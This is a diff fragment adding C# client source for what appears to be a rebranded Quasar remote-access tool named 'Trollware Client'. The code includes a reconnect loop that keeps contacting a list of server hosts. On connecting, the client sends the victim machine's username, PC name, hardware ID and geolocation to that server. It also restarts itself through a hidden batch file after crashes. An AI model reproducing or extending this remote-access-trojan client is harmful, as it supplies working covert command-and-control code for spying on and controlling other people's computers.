|
||||||
|
_payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
|
||||||
|
|
||||||
|
if (_payloadLen <= 0 || _payloadLen > MAX_MESSAGE_SIZE)
|
||||||
|
throw new Exception("invalid header");
|
||||||
|
|
||||||
|
// try to re-use old payload buffers which fit
|
||||||
|
if (_payloadBuffer.Length <= _payloadLen + HEADER_SIZE)
|
||||||
|
Array.Resize(ref _payloadBuffer, _payloadLen + HEADER_SIZE);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
process = false;
|
||||||
|
Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
_readableDataLen -= headerLength;
|
||||||
|
_writeOffset += headerLength;
|
||||||
|
_readOffset += headerLength;
|
||||||
|
_receiveState = ReceiveType.Payload;
|
||||||
|
}
|
||||||
|
else // _readableDataLen + _writeOffset < HeaderSize
|
||||||
|
{
|
||||||
|
// received only a part of the header
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
process = false;
|
||||||
|
Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_readOffset += _readableDataLen;
|
||||||
|
_writeOffset += _readableDataLen;
|
||||||
|
process = false;
|
||||||
|
// nothing left to process
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case ReceiveType.Payload:
|
||||||
|
{
|
||||||
|
int length = (_writeOffset - HEADER_SIZE + _readableDataLen) >= _payloadLen
|
||||||
|
? _payloadLen - (_writeOffset - HEADER_SIZE)
|
||||||
|
: _readableDataLen;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
process = false;
|
||||||
|
Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
_writeOffset += length;
|
||||||
|
_readOffset += length;
|
||||||
|
_readableDataLen -= length;
|
||||||
|
|
||||||
|
if (_writeOffset - HEADER_SIZE == _payloadLen)
|
||||||
|
{
|
||||||
|
// completely received payload
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HEADER_SIZE, false))
|
||||||
|
{
|
||||||
|
IMessage message = pr.ReadMessage();
|
||||||
|
|
||||||
|
OnClientRead(message, _payloadBuffer.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
process = false;
|
||||||
|
Disconnect();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
_receiveState = ReceiveType.Header;
|
||||||
|
_payloadLen = 0;
|
||||||
|
_writeOffset = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_readableDataLen == 0)
|
||||||
|
process = false;
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_readOffset = 0;
|
||||||
|
_readableDataLen = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sends a message to the connected server.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="T">The type of the message.</typeparam>
|
||||||
|
/// <param name="message">The message to be sent.</param>
|
||||||
|
public void Send<T>(T message) where T : IMessage
|
||||||
|
{
|
||||||
|
if (!Connected || message == null) return;
|
||||||
|
|
||||||
|
lock (_sendBuffers)
|
||||||
|
{
|
||||||
|
_sendBuffers.Enqueue(message);
|
||||||
|
|
||||||
|
lock (_sendingMessagesLock)
|
||||||
|
{
|
||||||
|
if (_sendingMessages) return;
|
||||||
|
|
||||||
|
_sendingMessages = true;
|
||||||
|
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sends a message to the connected server.
|
||||||
|
/// Blocks the thread until the message has been sent.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="T">The type of the message.</typeparam>
|
||||||
|
/// <param name="message">The message to be sent.</param>
|
||||||
|
public void SendBlocking<T>(T message) where T : IMessage
|
||||||
|
{
|
||||||
|
if (!Connected || message == null) return;
|
||||||
|
|
||||||
|
SafeSendMessage(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Safely sends a message and prevents multiple simultaneous
|
||||||
|
/// write operations on the <see cref="_stream"/>.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="message">The message to send.</param>
|
||||||
|
private void SafeSendMessage(IMessage message)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_singleWriteMutex.WaitOne();
|
||||||
|
using (PayloadWriter pw = new PayloadWriter(_stream, true))
|
||||||
|
{
|
||||||
|
OnClientWrite(message, pw.WriteMessage(message));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
Disconnect();
|
||||||
|
SendCleanup(true);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
_singleWriteMutex.ReleaseMutex();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void ProcessSendBuffers(object state)
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (!Connected)
|
||||||
|
{
|
||||||
|
SendCleanup(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMessage message;
|
||||||
|
lock (_sendBuffers)
|
||||||
|
{
|
||||||
|
if (_sendBuffers.Count == 0)
|
||||||
|
{
|
||||||
|
SendCleanup();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
message = _sendBuffers.Dequeue();
|
||||||
|
}
|
||||||
|
|
||||||
|
SafeSendMessage(message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SendCleanup(bool clear = false)
|
||||||
|
{
|
||||||
|
lock (_sendingMessagesLock)
|
||||||
|
{
|
||||||
|
_sendingMessages = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!clear) return;
|
||||||
|
|
||||||
|
lock (_sendBuffers)
|
||||||
|
{
|
||||||
|
_sendBuffers.Clear();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disconnect the client from the server, disconnect all proxies that
|
||||||
|
/// are held by this client, and dispose of other resources associated
|
||||||
|
/// with this client.
|
||||||
|
/// </summary>
|
||||||
|
public void Disconnect()
|
||||||
|
{
|
||||||
|
if (_stream != null)
|
||||||
|
{
|
||||||
|
_stream.Close();
|
||||||
|
_readOffset = 0;
|
||||||
|
_writeOffset = 0;
|
||||||
|
_readableDataLen = 0;
|
||||||
|
_payloadLen = 0;
|
||||||
|
_payloadBuffer = null;
|
||||||
|
_receiveState = ReceiveType.Header;
|
||||||
|
//_singleWriteMutex.Dispose(); TODO: fix socket re-use by creating new client on disconnect
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
OnClientState(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,176 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.Helper;
|
||||||
|
using Quasar.Client.IO;
|
||||||
|
using Quasar.Client.IpGeoLocation;
|
||||||
|
using Quasar.Client.User;
|
||||||
|
using Quasar.Common.DNS;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Utilities;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Networking
|
||||||
|
{
|
||||||
|
public class QuasarClient : Client, IDisposable
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Used to keep track if the client has been identified by the server.
|
||||||
|
/// </summary>
|
||||||
|
private bool _identified;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The hosts manager which contains the available hosts to connect to.
|
||||||
|
/// </summary>
|
||||||
|
private readonly HostsManager _hosts;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Random number generator to slightly randomize the reconnection delay.
|
||||||
|
/// </summary>
|
||||||
|
private readonly SafeRandom _random;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a <see cref="_token"/> and signals cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationTokenSource _tokenSource;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The token to check for cancellation.
|
||||||
|
/// </summary>
|
||||||
|
private readonly CancellationToken _token;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||||
|
/// <param name="serverCertificate">The server certificate.</param>
|
||||||
|
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||||
|
: base(serverCertificate)
|
||||||
|
{
|
||||||
|
this._hosts = hostsManager;
|
||||||
|
this._random = new SafeRandom();
|
||||||
|
base.ClientState += OnClientState;
|
||||||
|
base.ClientRead += OnClientRead;
|
||||||
|
base.ClientFail += OnClientFail;
|
||||||
|
this._tokenSource = new CancellationTokenSource();
|
||||||
|
this._token = _tokenSource.Token;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connection loop used to reconnect and keep the connection open.
|
||||||
|
/// </summary>
|
||||||
|
public void ConnectLoop()
|
||||||
|
{
|
||||||
|
// TODO: do not re-use object
|
||||||
|
while (!_token.IsCancellationRequested)
|
||||||
|
{
|
||||||
|
if (!Connected)
|
||||||
|
{
|
||||||
|
Host host = _hosts.GetNextHost();
|
||||||
|
|
||||||
|
base.Connect(host.IpAddress, host.Port);
|
||||||
|
}
|
||||||
|
|
||||||
|
while (Connected) // hold client open
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_token.WaitHandle.WaitOne(1000);
|
||||||
|
}
|
||||||
|
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||||
|
{
|
||||||
|
Disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_token.IsCancellationRequested)
|
||||||
|
{
|
||||||
|
Disconnect();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Thread.Sleep(Settings.RECONNECTDELAY + _random.Next(250, 750));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||||
|
{
|
||||||
|
if (!_identified)
|
||||||
|
{
|
||||||
|
if (message.GetType() == typeof(ClientIdentificationResult))
|
||||||
|
{
|
||||||
|
var reply = (ClientIdentificationResult) message;
|
||||||
|
_identified = reply.Result;
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
MessageHandler.Process(client, message);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OnClientFail(Client client, Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine("Client Fail - Exception Message: " + ex.Message);
|
||||||
|
client.Disconnect();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OnClientState(Client client, bool connected)
|
||||||
|
{
|
||||||
|
_identified = false; // always reset identification
|
||||||
|
|
||||||
|
if (connected)
|
||||||
|
{
|
||||||
|
// send client identification once connected
|
||||||
|
|
||||||
|
var geoInfo = GeoInformationFactory.GetGeoInformation();
|
||||||
|
var userAccount = new UserAccount();
|
||||||
|
|
||||||
|
client.Send(new ClientIdentification
|
||||||
|
{
|
||||||
|
Version = Settings.VERSION,
|
||||||
|
OperatingSystem = PlatformHelper.FullName,
|
||||||
|
AccountType = userAccount.Type.ToString(),
|
||||||
|
Country = geoInfo.Country,
|
||||||
|
CountryCode = geoInfo.CountryCode,
|
||||||
|
ImageIndex = geoInfo.ImageIndex,
|
||||||
|
Id = HardwareDevices.HardwareId,
|
||||||
|
Username = userAccount.UserName,
|
||||||
|
PcName = SystemHelper.GetPcName(),
|
||||||
|
Tag = Settings.TAG,
|
||||||
|
EncryptionKey = Settings.ENCRYPTIONKEY,
|
||||||
|
Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stops the connection loop and disconnects the connection.
|
||||||
|
/// </summary>
|
||||||
|
public void Exit()
|
||||||
|
{
|
||||||
|
_tokenSource.Cancel();
|
||||||
|
Disconnect();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_tokenSource.Cancel();
|
||||||
|
_tokenSource.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,90 @@
|
|||||||
|
using Quasar.Client.IO;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Net;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client
|
||||||
|
{
|
||||||
|
internal static class Program
|
||||||
|
{
|
||||||
|
[STAThread]
|
||||||
|
private static void Main(string[] args)
|
||||||
|
{
|
||||||
|
// enable TLS 1.2
|
||||||
|
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||||||
|
|
||||||
|
// Set the unhandled exception mode to force all Windows Forms errors to go through our handler
|
||||||
|
Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
|
||||||
|
|
||||||
|
// Add the event handler for handling UI thread exceptions
|
||||||
|
Application.ThreadException += HandleThreadException;
|
||||||
|
|
||||||
|
// Add the event handler for handling non-UI thread exceptions
|
||||||
|
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||||
|
|
||||||
|
Application.EnableVisualStyles();
|
||||||
|
Application.SetCompatibleTextRenderingDefault(false);
|
||||||
|
Application.Run(new QuasarApplication());
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void HandleThreadException(object sender, ThreadExceptionEventArgs e)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(e);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||||
|
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(exception);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="sender">The source of the unhandled exception event.</param>
|
||||||
|
/// <param name="e">The exception event arguments. </param>
|
||||||
|
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.IsTerminating)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(e);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||||
|
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(exception);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// Allgemeine Informationen über eine Assembly werden über die folgenden
|
||||||
|
// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
|
||||||
|
// die mit einer Assembly verknüpft sind.
|
||||||
|
[assembly: AssemblyTitle("Trollware Client")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("")]
|
||||||
|
[assembly: AssemblyProduct("Trollware")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
[assembly: InternalsVisibleTo("Client.Tests")]
|
||||||
|
|
||||||
|
// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar
|
||||||
|
// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von
|
||||||
|
// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
|
||||||
|
//
|
||||||
|
// Hauptversion
|
||||||
|
// Nebenversion
|
||||||
|
// Buildnummer
|
||||||
|
// Revision
|
||||||
|
//
|
||||||
|
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||||
|
// übernehmen, indem Sie "*" eingeben:
|
||||||
|
// [assembly: AssemblyVersion("1.0.*")]
|
||||||
|
[assembly: AssemblyVersion("1.4.1")]
|
||||||
|
[assembly: AssemblyFileVersion("1.4.1")]
|
||||||
+63
@@ -0,0 +1,63 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
// Runtime Version:4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace Quasar.Client.Properties {
|
||||||
|
using System;
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A strongly-typed resource class, for looking up localized strings, etc.
|
||||||
|
/// </summary>
|
||||||
|
// This class was auto-generated by the StronglyTypedResourceBuilder
|
||||||
|
// class via a tool like ResGen or Visual Studio.
|
||||||
|
// To add or remove a member, edit your .ResX file then rerun ResGen
|
||||||
|
// with the /str option, or rebuild your VS project.
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
|
||||||
|
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
internal class Resources {
|
||||||
|
|
||||||
|
private static global::System.Resources.ResourceManager resourceMan;
|
||||||
|
|
||||||
|
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||||
|
|
||||||
|
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||||
|
internal Resources() {
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the cached ResourceManager instance used by this class.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||||
|
get {
|
||||||
|
if (object.ReferenceEquals(resourceMan, null)) {
|
||||||
|
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly);
|
||||||
|
resourceMan = temp;
|
||||||
|
}
|
||||||
|
return resourceMan;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Overrides the current thread's CurrentUICulture property for all
|
||||||
|
/// resource lookups using this strongly typed resource class.
|
||||||
|
/// </summary>
|
||||||
|
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||||
|
internal static global::System.Globalization.CultureInfo Culture {
|
||||||
|
get {
|
||||||
|
return resourceCulture;
|
||||||
|
}
|
||||||
|
set {
|
||||||
|
resourceCulture = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
||||||
+26
@@ -0,0 +1,26 @@
|
|||||||
|
//------------------------------------------------------------------------------
|
||||||
|
// <auto-generated>
|
||||||
|
// This code was generated by a tool.
|
||||||
|
// Runtime Version:4.0.30319.42000
|
||||||
|
//
|
||||||
|
// Changes to this file may cause incorrect behavior and will be lost if
|
||||||
|
// the code is regenerated.
|
||||||
|
// </auto-generated>
|
||||||
|
//------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
namespace Quasar.Client.Properties {
|
||||||
|
|
||||||
|
|
||||||
|
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||||
|
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")]
|
||||||
|
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||||
|
|
||||||
|
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||||
|
|
||||||
|
public static Settings Default {
|
||||||
|
get {
|
||||||
|
return defaultInstance;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
<?xml version='1.0' encoding='utf-8'?>
|
||||||
|
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||||
|
<Profiles>
|
||||||
|
<Profile Name="(Default)" />
|
||||||
|
</Profiles>
|
||||||
|
<Settings />
|
||||||
|
</SettingsFile>
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
<Project Sdk="Microsoft.NET.Sdk.WindowsDesktop">
|
||||||
|
<PropertyGroup>
|
||||||
|
<TargetFramework>net452</TargetFramework>
|
||||||
|
<OutputType>WinExe</OutputType>
|
||||||
|
<AssemblyName>Client</AssemblyName>
|
||||||
|
<UseWindowsForms>true</UseWindowsForms>
|
||||||
|
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||||
|
